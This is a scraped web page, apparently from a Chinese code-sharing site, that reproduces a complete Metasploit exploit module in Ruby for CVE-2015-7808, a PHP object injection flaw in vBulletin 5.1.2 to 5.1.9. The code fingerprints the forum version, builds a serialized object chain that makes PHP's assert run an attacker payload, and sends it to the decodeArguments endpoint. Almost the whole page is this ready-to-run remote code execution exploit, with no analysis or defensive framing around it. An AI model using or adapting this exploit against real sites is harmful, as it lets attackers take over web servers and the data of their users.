扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin 5.1.2 Unserialize Code Execution', 'Description'=> %q{ This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9 }, 'Platform' => 'php', 'License'=> MSF_LICENSE, 'Author' => [ 'Netanel Rubin',# reported by 'cutz',# original exploit 'Julien (jvoisin) Voisin',# metasploit module ], 'Payload'=> { 'BadChars'=> "\x22", }, 'References' => [ ['CVE', '2015-7808'], ['EDB', '38629'], ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'], ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'] ], 'Arch' => ARCH_PHP, 'Targets'=> [ [ 'Automatic Targeting', { 'auto' => true }], ['vBulletin 5.0.X', {'chain' => 'vB_Database'}], ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}], ], 'DisclosureDate' => 'Nov 4 2015', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) ]) end def check begin res = send_request_cgi({ 'uri' => target_uri.path }) if (res && res.body.include?('vBulletin Solutions, Inc.')) if res.body.include?("Version 5.0") @my_target = targets[1] if target['auto'] return Exploit::CheckCode::Appears elsif res.body.include?("Version 5.1") @my_target = targets[2] if target['auto'] return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected end end rescue ::Rex::ConnectionError return Exploit::CheckCode::Safe end end def exploit print_status("Trying to inferprint the instance...") @my_target = target check_code = check unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance") end if @my_target.nil? || @my_target['auto'] fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") end print_status("Exploiting #{@my_target.name}...") chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:' chain << @my_target["chain"].length.to_s chain << ':"' chain << @my_target["chain"] chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:' chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}" chain = Rex::Text.uri_encode(chain) chain = chain.gsub(/%2a/, '%00%2a%00')# php and Rex disagree on '*' encoding send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'), 'vars_get' => { 'arguments' => chain }, 'encode_params' => false, }) end end |
体验盒子
